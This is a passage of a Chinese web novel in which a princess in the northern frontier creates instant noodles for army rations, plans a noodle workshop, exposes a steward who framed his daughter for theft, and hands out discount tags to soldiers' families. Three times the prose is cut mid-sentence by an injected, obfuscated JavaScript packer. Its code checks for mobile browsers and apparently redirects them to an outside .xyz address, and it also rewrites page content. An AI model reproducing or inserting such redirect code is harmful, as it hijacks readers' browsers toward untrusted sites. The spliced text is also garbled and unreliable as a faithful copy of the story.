于嘉裕帝而言,她的生辰日并不是什么值得庆贺的日子。她自己在那日便也只能想到母亲的死,心沉甸甸的歉疚。 只是此事没必要说给旁人知道,没的让人家也跟着一道心情沉重起来。 她弯了弯唇角,找了个借口:“婚期也近了,在那之前,我还不想见客。” 王妃闻言并没有多问什么,只应了声好。 陆鸣竹那里只传了正在制铭牌的消息,去盯梢槐花的人说她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036557|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎在小厨房住下了,封眠便平平淡淡地窝在雪月居睡了两日。 直到某一日,被封眠惦记了许久的那棵槐树忽然开花了。 封眠一清早还未推开窗,便先闻到了清甜浅淡的香味。她支开窗看去,鼻尖的香味愈发浓稠起来。 朗朗晴空之下,院中高耸的槐树上缀满了米粒般的青白花朵。 轻风拂过,明媚日光鹰得整棵树浮动着雪玉般的光泽。 北疆今年较往年都要冷,封眠以为还得等到六月才能看见这槐树开花呢。 她急急出了房门,站到树下,仰首望着树上半开半未开的槐花,目不转睛,满心都惦记着可以吃槐花饭了,没注意到雾柳走到了身侧。 雾柳:“郡主,槐花来了。” 封眠点头:“我看见了。槐花开了。” 雾柳:…… 雾柳忍笑:“郡主,不是这个花,是小厨房的槐花。” 封眠这才回过神来,亦是抿唇笑了。 “一时忘了,请她去正堂稍候。” “是。”雾柳应声离开。 待封眠梳洗过,来到正堂时,槐花已坐在椅子上盹了过去。 流萤正要上前将她叫醒,被封眠拦住。 封眠示意她让槐花先睡着,这小丫头眼底两道青黑愈发重了,显然这几日都没怎么睡好。 封眠兀自走到桌前,打开桌上包裹得严实的食盒,轻微的响动却立时惊醒了槐花。 槐花迷迷瞪瞪地站起来,“奴婢见过郡主!” 她行礼时脚下虚软,险些跪下去,被雾柳扶了一把。 “免礼吧。此番真是辛苦你了,不管成与不成,银两皆不会少你的。” 封眠本是想安慰她两句,让她别这么紧张,没想到这话直接将槐花吓清醒了,她腾地蹿到桌前,“能成的能成的,郡主请看。” 槐花利落地解开裹着食盒的布,把食盒打开,将里头的东西逐一取出来摆好。 五个盘曲成团的干汤饼堆叠放在油纸上,三个小瓷罐在旁边一一排开,另有一油纸包的脱水蔬菜。 “奴婢按郡主说的,肉油酱料共做了三种,一种以茱萸调的辣味,一种用了酸菜,一种是清淡的鸡汤味。奴婢都尝过味道了,汤饼劲道有麦香,热乎乎的,比现做的汤饼无甚两样!” “嗯。现在冲泡一下我瞧瞧。”封眠吩咐道。 “好嘞!”槐花中气十足地应了,取出备好的瓷碗来,将三种口味都泡了一碗。沸水刚冲下去,香气便扑鼻而来。 流萤登时馋得咽了咽口水,“好香啊!” 待数过一百八十个数,她第一个迫不及待地去分了一碗,一口下去眼睛都亮了,“这一碗汤饼有肉有蛋还有菜,这么香,还只需沸水冲一下便能吃了,也太便利了!” 封眠将每一种口味都尝过,亦是十分满意。一旁紧张等待的槐花见封眠脸上流露出笑意,当即大大松了口气。 “你做这一碗汤饼,所费几何?”封眠看向槐花,问道。 槐花挠了挠头,心下一喜,问到她准备好的答案了! “酱菜尚可,只是这干汤饼制起来颇为费油,用过一次的剩油极易酸败,虽可以用来做些别的,却是再炸不了第二次面饼了。若算下来,一个汤饼需得耗费十三文左右。” 封眠当即便拧了拧眉,十三文够买好几个军营中吃的粗粮饼了,若要替换成这种干汤饼,怕是所费颇靡。 24. 第 24 章 “只需这样用沸水冲泡上,就能吃了?” 王妃满眼新奇地看着面前盖上了盖的瓷碗。 封眠点头答道:“对。待数过一百八十个数后,将盖子取下就成了。若想吃更软烂些的,可再多数十几个数。” 王妃不大爱重口味的,平日里又喜欢喝鸡汤,她便拿了鸡汤味的酱料过来,想听听王妃对这汤饼的意见。 王妃略略靠近了些瓷碗,鼻尖轻动,一双秀眉不自觉地扬了扬,“闻着便香。” 一旁雾柳默数了一百八十个数,上前将碗盖取下,热腾腾的水雾腾地冒了出来,一同喷涌而出的是浓郁的香气。 王妃惊讶地看向碗内,此前干巴巴的汤饼已被热水泡得舒展开来,卧在鸡汤酱料化开后灿金色的汤汁里。脱水的蔬菜干个个吸饱了水,虽不如新鲜的蔬菜,却也是翠色喜人。小块的干巴肉粒也被热汤激泡得饱满起来,胖嘟嘟地点缀在汤饼之上。 王妃一手拿着勺,一手执着筷,尝过了汤饼尝一口汤,将蔬菜粒和肉粒也分别尝了,眼底的惊喜几乎快溢出来一般。 “当真是鸡汤的味道!虽不如厨下现做的新鲜,却已是十分美味。若是,若是……” 王妃心神激荡地看向封眠,话虽未说完,封眠却也看懂了她的意思。王妃与她一样,也想着若此物能充作军粮,定能好好改善士卒们的膳食。 封眠颔首,说道:“这东西做出来,我便是打算送去军中的。” 王妃眼底蓦地浮上了一点水光。她之所以能第一时间想到将此物用于军中,便是因为家中两个不省心的。每每出征回来,两人身上总是带着这样那样的伤病,她在府中便是再如何精心调配吃食,也抵不过往军营去一趟。 更遑论军中许多将士甚至连回家一趟都是奢望,还有那镇日守在烽火台的士卒,风雪封路时只能每月领一次补给,不知要吃多少苦头。 “人哪能总啃干饼子就腌菜?军中士卒多少都会得些雀蒙眼、糙皮病等病症,实在是磨人得很。若是有了这汤饼,菜也有了肉也有了,定能少了许多病痛。便是有时环境不好,烧不了热水冲泡,能干吃也是极好的!” 王妃激动地握住了封眠的手,“此事实在是功德一件!边关的将士们都要谢你!” “能为守边卫国的诸位将士尽些绵薄之力,是我之幸。”封眠这才道出为难之处,“只是这汤饼的造价略有些高,恐怕推行不易。” “即便我与王府自掏腰包,也未必能支撑得长久。” 王妃神色顿时一黯,“好不容易都已做出来了,偏偏折在了银钱不够,未免太过可惜了。” “所以我想请您帮个忙。”封眠在王妃身侧坐下,认真地看着她。 “你这么说,是有法子了?”王妃重又燃起了希望,期待地看向封眠。 “本来还不大确定,但如今瞧您对这汤饼的评价也颇高,心下便有几分把握了。”封眠笑起来,将自己的想法和盘托出,“这汤饼既是吃食,便亦可出售给百姓商人食用。我打算办个汤饼作坊,卖汤饼赚得的银钱可以维系作坊运转,供给军中的汤饼便可以折价,不用担心军费奢靡。” “作坊用过的油虽不能再用来炸汤饼了,却也可以用来做其他吃食。只需再多开一个小饭铺便可以解决浪费的问题。” 而且封眠打算找个时间,再悄悄饿上自己几顿,瞧瞧能不能梦见其他的吃食。 王妃闻言眼前一亮,“当真是个好主意。不过你要我帮什么忙?” “我想请您代我赴宴,将这汤饼带给官眷们尝一尝。若能请动她们支持一下汤饼作坊的生意,起步就很容易了。” 封眠略有些不好意思,她知道王妃不喜欢赴宴,而且自己前天才拒了来邀请的帖子,今天便要王妃代她赴宴,说起来着实有些为难人。 王妃却直接答应了封眠的请求,她不喜欢参加宴会只是觉得一群夫人小姐凑仔一处比东比西的既无聊又浪费光阴,若是为了正事去的,她自然是极其愿意的。 “后日陈通判家中恰好有个宴会,我到时定为你好好宣传。对了,这汤饼你可取了名字没有?” “就叫即食汤饼吧,好记又好理解。” 解决一桩问题,封眠心下也松了口气。若作坊在北疆运转顺利,她便打算在给舅舅的信中也将汤饼写上。大雍上下又不止北疆定北军这一支军队,西南边疆皆有大雍的好儿郎,他们也需要改善一下伙食。 王妃点点头记下了,封眠又问道:“我还想向您讨个人。” “真、真的吗?我、奴婢日后能跟着郡主做活了?” 雪月居,槐花听封眠说要将自己调到她身边,兴奋得险些跳起来。 “郡主金口玉言,还能诓你不成?”流萤看她这般咋咋唬唬的样子,觉得好笑,忍不住逗了逗她。往后郡主身边,自己就不是那个年纪最小的了! 槐花不好意思地挠挠头:“那我需要做些什么?” 贴身服侍郡主的流萤姐姐和雾柳姐姐都与她不一样,看着跟贵人也没什么两样。她却完全是个什么都不懂的小丫头,实在不知道还能帮郡主做些什么? 看出她眼底压着的惶惑,封眠先安抚她道:“不用怕,你将汤饼做的很好,日后暂时也只需要做汤饼就好。” 封眠将准备办汤饼作坊的事简单跟槐花讲了,并让她每日抽一个时辰出来,跟着雾柳或是流萤学写字。 “我会找两个人来试吃一下你目前做的三种汤饼,看看他们可有什么其他的意见,你再将配方口味调整调整。” 槐花用力地点点头,又有些好奇郡主要找什么人来试吃她的汤饼,意见那般重要? 疾羽营校场,众士卒正呼呼喝喝地训练,一名校尉忽然走上前,高喝一声:“王二,燕小七,出列!” 两名士卒顶着满头的汗闷头闷脑地从队伍里跑出来,就听校尉一声吩咐:“郡主请你们俩去趟郡主府。” 啊?? 王二和燕小七局促又紧张地坐在王府的膳堂,不安地面面相觑,叽叽咕咕地猜测郡主到底找他们干什么。 “难道当时郡主只是当着世子的面演的良善,现在要跟咱们秋后算账了?”王二极尽阴险地猜测。 燕小七心存希望:“那不至于吧咱们叫到王府里来动手吧,生怕别人不知道吗?” “你小孩子家家的不懂,高门大户里的秘辛多着呢,越是这样,越有悄无声息除掉咱俩的手段!” 伴着王二将将落下的话音,数声震响,敞开的门窗瞬间闭合,惊得两人差点跳起来。 窗纱外映出几道高大的身影,手里端着什么东西,逐渐逼近房内。 脚步声哒哒哒,吓得王二和燕小七尖叫着抱到一起。 “砰”一声,紧闭的房门被自外踹开。 “封眠你把王二和燕小七……”百里浔舟自外头气势汹汹地冲进来,袍角翻起利落地弧度,声音狠厉,却在看清屋内情状时戛然而止,呆呆地维持着闯进门的动作立在原地。 屋内众人齐齐扭头看向百里浔舟,王二和燕小七嘴里还叼着几根汤饼,看见自家世子殿下喊着自己的名字冲进来,忙咬断了嘴里的汤饼,三两口嚼碎了吞下去,七嘴八舌地解释。 “殿下我们没事!” “郡主没想我们算账!” 校尉来叫他俩走的时候,眼含同情地让他俩挺住,说自己定会去将世子殿下请回府救他们,让他们放心地去。没想到世子殿下来得这般快。 两人解释完,看看尴尬的世子殿下,再看看回过神来似笑非笑的郡主殿下,被空气中弥漫的尴尬扼住了喉咙。 唉,都怪他们将郡主想得坏了。 谁能想到,郡主特特叫他们来,只是为了请他们吃汤饼啊! 百里浔舟讷讷张口:“我以为……” “我只是担心这汤饼做出来不合士卒们的胃口,便叫了他们两个来试吃,好提些意见。”封眠好整以暇地看着百里浔舟,“世子以为我想害死他们啊?” 百里浔舟闭紧了嘴,听见封眠叹气一声:“你我之间的信任可真是薄弱。” 他心中暗暗着恼校尉,校尉来传话时担心世子殿下不将此事放在心上,自行进行了好一番添 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036558|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油加醋的加工,措辞之严重,仿佛百里浔舟再晚来一息就得给王二和燕小七收尸了。 他这才一路快马加鞭赶回,硬闯进来,却见又是一桩误会。 此时此刻面对这郡主这娇娇弱弱的女子,他却觉得自己还不如在战场面对数十个外夷壮汉。起码不会像此刻一般,觉得有蚂蚁在身上爬一样难受。 百里浔舟:“抱歉……” 封眠淡淡扫他一眼:“世子也对我说过太多声抱歉了。” 百里浔舟轻咳一声,走进屋内,迁怒地瞪了王二和燕小七一眼,两人缩了缩脖子。 他软了嗓子,语气中多了几分低声下气地恳求:“郡主冷不丁地从我军营中要人,传话的人也没说清楚,我会错了意,还望郡主海涵。不知郡主这是在?” 几碗汤饼,为何还要薅他营中的人来试吃? 封眠看向王二和燕小七,示意他们俩回答自家世子殿下的话。 两人心中早就压了一堆溢美之词,忙不迭七言八语地争着答话。 “郡主做的这是即食的干汤饼!” “吃起来可方便了,热水一冲就熟了!” “有肉有菜还有蛋,香得属下连舌头都想吃掉了!” “郡主说要开个作坊量产,以后咱们行军,便能吃上热汤饼了!” 百里浔舟心中剧震,乌黑的瞳孔不敢置信地落到封眠的脸上。 军粮一直是定北军的大问题,将士们多数时候都吃得凑合,他和父亲皆为此头疼日久,要么偶尔围猎,要么自掏腰包来改善口粮。郡主居然要为定北军将士提供如此好的汤饼做军粮?! 他顿时肃容向封眠行了大礼,唇角却忍不住地上扬,双眸中盈满了谢意和欣喜,“多谢郡主挂心边疆将士,我在此代大家谢过郡主!” 王二和燕小七忙跟着一同行大礼,声音朗朗:“谢过郡主!” 封眠弯了弯眼,示意他们起身,“先别急着谢我,作坊如今还没落成呢。若是汤饼日后卖得不好,赚不到银两供给作坊,你们也吃不上汤饼了。” 得知汤饼制作所费不少,百里浔舟便提了个建议:“既如此,可以将酱包多做一些。即便不搭汤饼,单独冲一碗热汤也是极好的。” 封眠觉得此话有理,便认同地点了点头。她看着百里浔舟,想起什么,从荷包中拿出一个拇指大的铭牌递给他。 “见世子一面,比登天还难。既然难得遇见了,这东西便现在给你吧。” 百里浔舟一赧,接过铭牌,铭牌是铁制的,触手生凉,上头刻着一个篆体的“封”字,其下是米粒大小的“百里”二字,并一传五个零。 他扬了扬眉,疑问地看向封眠。 “这便是上次与世子说的,去我名下商铺消费可用的铭牌。陆大人今日一早遣人将世子殿下的送了过来,上面的数字是编号。这是主牌,副牌我会交予王妃。”封眠说着看向眼巴巴的王二和燕小七二人,“明日陆大人会去疾羽营按顺序发房铭牌。” 王二和燕小七在心底欢呼一声,两人对视一眼,皆从彼此眼中看到了对郡主的敬爱之意,往后他们也是郡主的兵了! “明日王妃会去陈通判府上赴宴,若顺利的话,作坊的第一笔大生意便有了。”封眠想着给百里浔舟喂个定心丸。 百里浔舟听了却问:“那你呢?” 他以为郡主会亲自监督这两件事的落成,怎么竟撒手不管了。 “我要吃槐花麦饭。”封眠理直气壮。 百里浔舟哑然,忍不住问道:“就这么喜欢吃槐花麦饭?” 槐花麦饭是民间百姓常吃的,他本以为郡主只是图个新鲜,怎么瞧着却对这槐花麦饭颇为执着的模样。 封眠只是嗯了一声,表示自己就是喜欢吃,却没有告诉他原因。百里浔舟有些好奇,却不好再追问,只能在封眠赶客的目光中,拎上王二和燕小七走了。 只是心中还忍不住琢磨着,她为何那般喜欢槐花麦饭呢? 但封眠还没来得及吃上一口槐花麦饭,便听前院传来消息:王妃准备带去宴上的即食汤饼不见了。 25. 第 25 章 庭院内,王府的下人们乌压压地列队站着,各个垂首缩脖,小心翼翼与左右的人交换视线,都还不知发生了什么事,要如此大动干戈地将众人聚于一堂。 正困惑着,忽闻环佩轻响,眼角掠过两道华影。但见王妃携郡主自雕花连廊转出,众人慌忙低眉顺目地垂首,屏息以待。 王妃穿了件沉香色缠枝葡萄纹暗花绫褙子,下着十二幅浅碧马面裙,群门绣着通草水禽图,格外清雅秀丽。一头青丝绾作慵妆髻,单插一支银鎏金累丝藤萝挑心,左右各压一枚冻绿釉瓷蜻蜓,既显贵气,又格外温婉灵动。 她目光无波地扫了一眼众人,拍拍封眠的手,眼神示意将此事交予封眠处理,让她放心大胆地去办。 下首的几个管事见状皆是神色微妙。未来的世子妃还没过门,便要插手府中内务立威了。看来日后王妃很快就会将府中中馈交给世子妃执掌。 封眠冲王妃微微一笑,也有让王妃放心的意思,瞧着心中似已有成算了。 她上前一步,脑后束起碎发的杏红绒绳下缀着的小铃铛发出细微脆响。她今日穿得十分居家,上身米色交领短衫素净普通,葱白挑线裙的群面上绣着松鼠葡萄的俏皮花样,与王妃站在一处,瞧着像母女装一般。 也因此显得人稚嫩起来,底下有偷瞧的下人眼中不觉流露出两分轻视。 “今日府上丢了件要紧的东西,眼下时间紧迫,我希望诸位能积极配合。”封眠的声音并不如何严厉,是少女的脆爽,却自有一股令人众人洗耳恭听的威仪。 “大家皆在王府做工多年,我也希望此事最好不要闹得太大,能留些情分。若偷盗之人能自己主动站出来,看在他知错便改的份上,我也不会再追究此事。” 满场寂静,众人鸦雀无声地垂着首,只有一个半秃的脑袋犹豫地左右转了转。 “若有人能提供有效线索的,赏银十两。” 那半秃的脑袋立时跳出来高喊:“小的举报!是小厨房的槐花,是她偷走了即食汤饼” 站在最前头的槐花浑身一颤,她仓皇地看向封眠,胸膛几番起伏,仍是忍住了没说话。 来这儿之前,郡主遣人说过相信她,让她今日行事不要冲动。 封眠淡淡扫了那人一眼,“我还没说偷的是什么东西,你怎知是即食汤饼?” 那人一双鼠目沽溜乱转,下定了什么决心般咬牙道:“我、我亲眼看见的!所以知道她拿走了什么东西!” 槐花震惊扭头瞪他,终于是没忍住顶了一句:“你胡说!” 封眠神色不变,一双乌瞳定定地望着他,“你想清楚了再说,你当真亲眼所见?” 那人无端打了个抖,心下嘀咕这郡主瞧着年纪不大,通身的气派却是唬人。他往身侧瞟了一眼,定了定神,坚定道:“没错,亲眼所见!郡主不信,可以问吴买办,吴买办也瞧见了!” 他说着侧首看向吴买办,“吴买办,你就别替槐花包庇了,看在你大义灭亲的份上,郡主想必也会对槐花高抬贵手的。” 槐花和吴婶都不敢置信地看向吴买办,吴买办脸上满是宿醉的浮肿潮红,他惺惺作态地用那双浑浊的眼看向槐花,“槐花啊,爹也是为了你好,不能看着你一错再错啊!” 他向前出列,痛心疾首道:“回郡主,小人确实亲眼看见槐花偷了东西。她说郡主做的这即食汤饼能卖大价钱,眼瞅着郡主要开作坊做汤饼,如今库里这几个即食汤饼便是丢了也不打眼,就生了这不该生的心思!” “小人没教好女儿,竟让她做出如此错事,请郡主责罚!” “我根本没有这么么说过!你骗人!”槐花气得浑身发抖,想要冲过去却被吴婶紧紧拉住。 吴买办梗着脖子:“郡主请人去这小贱人屋里头一搜便知!” 封眠看了雾柳一眼,雾柳会意离去。 “你知晓若偷盗做实,便要先鞭三十,再处墨刑吧?”封眠看向吴买办,一字一句地问道。 众人闻言皆露出不忍的神色来。 吴婶亦是痛呼:“当家的,你莫要胡言啊!若是身上刺了字,槐花这辈子可就全完了!” “你喊我有什么用!跟你闺女说别干这种事啊!”吴买办丝毫不为所动地吼回去。 他打定了主意,人证物证俱在,槐花这丫头绝对糊弄不过去! 吴婶只能转头抱住槐花,殷殷切切地劝着:“花儿啊,郡主说了主动承认可以网开一面,你快与郡主说你错了!” 槐花顿时不敢置信地看向抱着自己的人,浑身发抖,泪珠在眼底转了转,终是没忍住落了下来,“阿娘,你不信我?我没做过的事为什么要承认?!” “不管你做没做过,眼下都说是你做的!你能怎么办?等着被处刑吗?”吴婶又心疼又着急,她自然不相信自己的女儿会做出偷盗的事情来,可遇见了事,她的第一反应却也是息事宁人,最好快快将此事了结,哪怕担了这污名,能争取个宽大处理也是好的。 槐花不能理解,这么多年来阿娘一直忍气吞声,遇事就是忍忍忍,又落得什么好下场了?被人吃干抹净了还要自己主动奉献一切,期待着人家拿走了她的牺牲,就能对她施舍一点怜悯。 可凭什么啊? 凭什么她要为没做过的事低头? 眼见着闺女一声不吭就是不肯认罪,着急的吴婶扑通跪下了,“郡主,是我,是我偷的!” “阿娘!”槐花惊愕地看向自己的娘亲,又急又气,僵着身子站在原地,脊背挺得笔直,想去扶阿娘起来,却又不想弯下脊梁。 这当口,雾柳回来了,身后的仆役手上捧着装有即食汤饼的油纸包。 “郡主,东西都找到了。” 吴买办登时得意地扫一眼槐花和吴婶。 呵,这两个贱皮子以为抱上郡主的大腿,便能甩下他走了?没门! 昨夜他照例在外头喝了个痛快再回来,却听见槐花这贱丫头撺掇吴婶与他和离,跟她搬去雪月居。说什么郡主因为即食汤饼很赏识她,调了她去身边做活,日后她也能养活得起吴婶,保护好她。 吴买办脾气爆了这么多年,就这一晚上忍住了没有立时冲进去,反而去找了平日里的赌友商量了这么一招栽赃陷害之事。 待槐花顶了这污名,他便收几两银子把她卖出去做妾!省得日日在跟前碍眼! 吴婶的脸色惨白不已,她还兀自说着是自己干的,不要惩罚槐花的话,却是心慌手抖,眼泪成串地落。 槐花,她的槐花可如何是好? 槐花却是期盼地看着封眠,她相信郡主说的话,郡主信她,就一定不会让她这么被人污蔑! 封眠回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036559|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槐花一个让她安心的眼神,接着示意雾柳将发现的都说出来。 “奴婢确实是在槐花的屋中寻到了即食汤饼。” 吴买办急切地:“物证已在!槐花你还不快快认罪!郡主如此信任你,你怎么能……” “但是!”吴买办话未说完,便被雾柳扬声打断,她细长的眼中淬着冰冷的怒火瞪了吴买办一眼,吓得吴买办将话咽下,险些咬了自己的舌头。 雾柳继续道:“但是风甲和风乙都亲眼看见,是吴买办和刘大二人趁着天刚亮,避开众人,悄悄将即食汤饼偷走,放到了槐花的房间。” 众人顿时哗然,槐花眼前一亮,泪珠因欣喜而簌簌掉落。吴婶震惊又惊喜,踉跄着起身挽住女儿的手。 吴买办和那举报槐花的秃头刘大都面如死灰,吴买办尚嘴硬着:“怎、怎么可能,你们怎么能瞧见的?哪有这般巧的事?你们又怎么能确定就是我二人干的?” 封眠:“听说你之前就冲进小厨房,要对槐花动手,我便派了两个人暗中保护槐花。好巧不巧,恰好目睹你这一桩自导自演。” 风甲适时上前呈上两件衣裳,“这是属下尾随吴买办和刘大回屋后,看着他们换下的衣裳,上面沾有即食汤饼酱汁的味道,可做物证。” 刘大噗通便跪了,哭天喊地道:“郡主明鉴啊!小人是一时猪油蒙了心,被吴买办哄了去,才做下这栽赃陷害之事,小人再也不敢了!” 吴买办脸上的血色褪了个干净,两颊的肌肉不受控地抽搐着,冷汗如雨般滑落,瘫软在地,抖着嗓子道:“小人、小人只是……” “你只是见不得自己的妻女离了你,再不能任你予取予求随意打骂吧?”封眠嗓音淬了冰,冷冷瞥一眼吴买办,“如此人品低劣之人,岂配在王府任职?” 王妃已将来龙去脉听得明白,幸而封眠早就发现了府中有此恶人,一直着人暗中盯着,否则今日便要平白污了一名少女的名声,来日还不知会酿下何等的祸事! “郡主说得不错,来人,将此二人带下去,各鞭三十,结了近日的工钱,赶出府去!” 吴买办和刘大不住求饶,吴买办看向自己的舅父吴管事,求他帮自己说说话。吴管事避之不及,看也不看他,挥手示意仆役赶紧将他拖走。 哀求声渐远,封眠看向王妃,“王妃,我还有一事相求。” “但说无妨!” 封眠看向院中的吴婶和槐花,道:“吴婶和槐花实属无辜,还望王妃莫要因他们与吴买办的亲缘关系而迁怒,也忘王妃能助吴买办与吴婶和离。” 槐花听了欣喜地握住了吴婶的手,吴婶怔了片刻,看看女儿,又想到方才发生的闹剧,终于是点了点头:“对,和离,我要跟他和离!” 她委曲求全了半辈子,为的不过是女儿,如今吴买办这样对她的女儿,她女儿又如此有出息,她怎能拖女儿的后腿? 她泪汪汪地与槐花道歉:“方才是娘错了,娘不该劝你认罪,是娘委屈了你。” 槐花又哭又笑地说不出话来,日后,她与阿娘总算是自由了! “自然。如此败类,怎配为人夫为人父?你放心,此事必定办得妥妥帖帖。” 封眠与王妃相视一笑,看向院中相拥而泣的母女二人。 总算,她们不必再在泥潭中挣扎余生了。 26. 第 26 章 长街上人声鼎沸,叫卖声此起彼伏。 热闹的背景中,一名穿着粗布衣群的妇人在回春堂前徘徊,眼睛盯着回春堂匾额下新挂出来的木牌子看了好半晌。 木牌上刻着一个篆体的“封”字。 妇人攥了攥手心里的一个物件,深呼吸为自己打了打气,才拎起裙角,怯生生地上前迈过了门槛。 柜台后正称药的伙计手上忙碌着,不忘抬头冲来客露出一个笑脸,朗声问:“娘子买药还是看病?” 妇人也扯开嘴角回了一个紧张的笑,她上前两步走到柜台边,把手心里紧紧攥着的东西递到伙计面前,嗫嚅着问:“请问,这个能用吗?” 她谨慎地措着词,问完也不敢看伙计的脸色,垂着眼盯着自己摊开的掌心,忐忑地等待着答复。 掌心上头静静躺着一枚铁制铭牌,上头刻着一个篆体的“封”字,其下是米粒大小的“周”字,旁边的编码刻着肆叁柒贰。 “能,当然能。”伙计态度登时恭敬起来,和颜悦色地解释,“您放心,郡主都已吩咐下来了,这铭牌凡是去挂了“封”字牌的铺子里头,都管用!” “我们回春堂与旁的铺子不同,持铭牌来看诊啊,不收您费用,抓药也只收您一半的费用。” 周家娘子闻言终于抬起了眼,眼底透着欣喜的亮光,“当真?那、那我先看诊!” “来,您这边请。”伙计将手中包好的药包搁到一旁,走出柜台,将人引向里头的问诊室。 周家娘子挺直了腰板从回春堂出来时,手上已拎了一串药包。刚走出两步,便被一群张望了半天的叔伯婶娘围住了,七嘴八舌地发问。 “咋样啊?真能用?” “没多收你钱吧?” “何止能用?”周家娘子脸上扬着笑,骄傲极了,将伙计说的那些话一字一句都转述了,又道,“他还说了,家中有老人小孩的也可以用,只要血亲未出三服,都能用!” “这么好?郡主也太心善了!” “以后咱们身上有点病痛,岂不是再不用硬撑着了?” 众人听了都喜上眉梢,不住口地夸了起来。已有那等不及的,揣着铁牌牌回家去接老人来看诊了。 周家娘子听得不住点头,她自生了娃之后,小腹便时时隐痛,想找郎中瞧一瞧,又心疼银子,觉得只是这么点小毛病,忍一忍便过去了,不值当特意花钱去瞧。 直到昨日自家夫君突然得了假,回家给了她这么一个铁牌牌,说是郡主特特赏的,持牌子去挂了“封”字牌的铺子,能折价两成! 她本是不信的,她夫君只不过是军营里再普通不过的一个小兵罢了,郡主怎会特意赏他这么好的东西? 但家中婆婆常年卧病,又到了要抓药的时候,但银钱着实紧张,她就想着去试着看看从回春堂抓药能不能比平日里便宜些,没想到竟是有意外之喜! 她自己苦熬了这些日子的病痛,大夫却说只是小毛病,吃两副药便能好了。药钱还不到她们一家子一整日的饭钱那么多! 她立时就给自己买了药,约了时间再带婆婆来看诊。 “那个,周家的,你这牌牌能不能借我们用用?”一个精神矍铄的老婆子忍不住了,她家中是个独孙,当初把小孙女卖去当丫鬟才凑够银子免了兵役,如今瞧着眼馋得很。 周家娘子脸色一冷,她们这群街坊最看不得张婆子这种卖孙女保孙子的行径,平日子都避着这一家人走,当下硬邦邦道:“这是郡主仁义,心疼我们各家儿郎为国守关,才为我们谋的福祉,不知自己私下里要贴补多少银钱,哪是给咱们随便占便宜的?咱们感念郡主恩德,得自觉地守规矩不是?” 周围人跟着附和,张婆子一脸讪讪地挎着菜篮子走了,心里不住嘀咕着周家娘子小气,那郡主也是个小气的,都是街坊邻居的,怎么还整这么多规矩?郡主那么多家铺子那么多钱,给她们这些小百姓花一花怎么了? 周家娘子回头看了一眼回春堂下坠着的“封”字木牌,心里热乎乎的,心想郡主可真是个好人,她能来北疆,真是她们这些百姓的福气,望她日后能平平安安,幸福康健。 折氏糕饼作坊内,封眠正随折夫人一同查看作坊内各种用具的成色。 折夫人梳着堕马髻,如云乌发间缀着十二支金累丝点翠花钿,左侧鬓边簪一朵碗口大的姚黄通草花,与水绿色西番花纹十二幅湘裙相得益彰,透着股明媚张扬的劲儿。 她眼眸中常含着春水般的笑意,说话时不紧不慢,咬字温软,“这作坊才开了不足一月,工具都是崭新的,郡主若是需要呢,也不必额外给钱,我做主,送给郡主当个添头。” 封眠知道折夫人这个面子是给王妃的。 王妃听她说了办作坊的主意后,便替她悄悄联系了这位云中郡商会的会长夫人。折夫人一听说此事急着办,便从自己名下拨了个不怎么赚钱的小作坊出来,一用工具齐全,将人员码齐便可以直接将汤饼作坊开起来了。 封眠心下感念折夫人的好意,也不还价,当即弯眼一笑,“那便多谢夫人慷慨了。” 忽地颊上一热,折夫人捏了捏她的脸颊,凑近的艳冶眉眼间透着看乖孩子般的喜爱,“难怪王妃这般上心地催我,我若有个郡主这般讨人喜欢的儿媳,自也是要宠道天上去的。” 封眠懵了一瞬,没忍住笑开了,皎美的眉眼愈发甜得像掺了蜜一般。 折夫人越瞧越欢喜,牵着人往前厅去,“走,签文书去,我再给你便宜一成!” 封眠这下可是当真笑得见牙不见眼了。 待签好了转让作坊的文书,封眠又问了问原先在作坊的工人去了何处。 折夫人知道她是担心作坊关了,原本工人的生计会受影响,心下对她更多了几分喜欢,“不必为他们担心,我名下的作坊铺子都还多着,他们丢不了活计。对了,你这作坊可招好工了?” 封眠摇摇头,作坊的员工满打满算也就槐花一个人呢。“眼下会做这即食汤饼的只有一个小丫头,我想招些女子,这样与她也好相处些。只是不知北疆的商铺可有什么规矩?” “这倒没什么特别的规矩。不过多数作坊涉及一些需要保密的秘方,便喜欢从人牙子手里买人。你若是需要,我可以为你介绍一位阿婆。”见封眠蹙眉,折夫人补充道,“放心,是官牙,手上的人都清白得很。” 封眠的眉心这才舒展,答应明日随她一同去看看。 离开时方近晌午,封眠坐在回王府的马车上,掀起帘络向外看,恰好瞧见两人携手进了坠着“封”字牌的绸缎铺,颇欣慰地笑了起来。 看来这场与云中郡百姓之间没有硝烟的战斗,已初步获得了胜利呀。 